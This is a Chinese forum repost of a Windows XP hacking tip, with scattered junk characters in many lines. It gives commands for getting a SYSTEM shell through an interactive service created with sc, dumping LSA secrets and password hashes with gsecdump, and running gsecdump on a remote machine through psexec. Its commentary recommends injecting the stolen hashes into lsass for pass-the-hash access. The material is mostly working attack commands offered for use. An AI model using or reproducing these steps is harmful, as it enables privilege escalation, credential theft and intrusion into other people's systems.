HASH注入式攻击

admin

o get a DOS Prompt as NT system:

' ?$ V) g) Y( _/ YC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS
6 ^* f! U5 i. `& m" j4 @* e
C:\>sc start shellcmdline
[SC] StartService FAILED 1053:
, A% b* v) V: l: |7 Y! n! x1 y/ B
The service did not respond to the start or control request in a timely fashion.
* T  j9 s3 F5 k
/ ^; D$ ?& w# \" m- eC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
$ r# {( l+ x) N  t) A) ?
------------

% R2 P& M8 Z0 l- z. ?/ LThen in the new DOS window:
- B) G5 i; m: n- |
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
; H( r* S) N! U: H) J3 |! bNT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
/ [2 P. G0 F/ ]2 B* H+ z  Sgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
8 @7 ~; n' \6 |% K! tusage: gsecdump [options]
! T* u. F8 [( g1 S1 i2 x* L
* u  ]$ e* I( _7 l7 _options:
2 e- v% Y4 C8 w! [$ W. D. q) R-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
- L8 o5 q- H* J5 B8 M$ K-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

& y3 A7 `5 v" X/ F9 H  P7 WAlthough I like to use:
- S0 N2 L7 {, g$ R
PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
" V1 D0 i! p# ]3 n3 J2 QSysinternals - 链接标记[url]www.sysinternals.com[/url]

' F; a' @( b' J. V  ^+ k9 P* dC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.
* K& {: N$ s% S' O
" T8 U) z: X& n- K+ j! s( gThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
; S0 H8 P1 ^$ T% P" c6 p
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
5 O. e  u; h! u4 U& \1 r9 P原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
7 c- [) _& v+ Q. l* E! c4 d$ U
/ X& }' U% |$ Q7 M我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
" z0 j8 `, L5 [7 c2 ~